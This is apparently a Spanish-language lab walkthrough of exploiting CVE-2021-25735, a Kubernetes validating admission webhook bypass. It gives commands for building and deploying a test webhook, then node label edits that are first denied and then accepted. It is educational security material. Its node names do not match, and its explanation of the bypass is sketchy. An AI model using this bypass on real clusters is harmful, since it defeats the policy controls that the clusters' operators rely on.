
Explotación de CVE-2021-25735: Omisión del Webhook de Admisión de Validación de Kubernetes
Comencemos ejecutando el script gencerts.sh para generar certificados y claves TLS.
bash gencerts.sh
Para implementar el controlador de admisión necesitas construir la imagen del contenedor Docker localmente, etiquetarla y subirla a tu Dockerhub usando los siguientes comandos.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
Ahora puedes implementar la imagen creada con la aplicación Node.js en tu clúster de K8s. El archivo webhook-deploy.yaml implementará todos los componentes necesarios en tu clúster.
kubectl apply -f webhook-deploy.yaml
Registremos ahora nuestro webhook con el Servidor de API de Kubernetes. Para ello, creamos un Base64 del archivo ca.crt creado anteriormente y reemplazamos el CA_BUNDLE dentro de webhook-registration.yaml.
cat ca.crt | base64
Finalmente, registraremos el webhook con el Servidor de API de Kubernetes.
kubectl apply -f webhook-registration.yaml
Hacemos un cambio en la etiqueta del nodo usando edit nodes y añadimos una nueva etiqueta.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
Dado que ChangeAllowed está establecido en "false", obtenemos el siguiente error:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
Si reintentamos modificar el nodo realizando el siguiente cambio:\
labels:
test: test
changeAllowed: "true"
En este caso, la acción de edición ha sido aceptada omitiendo el controlador de admisión.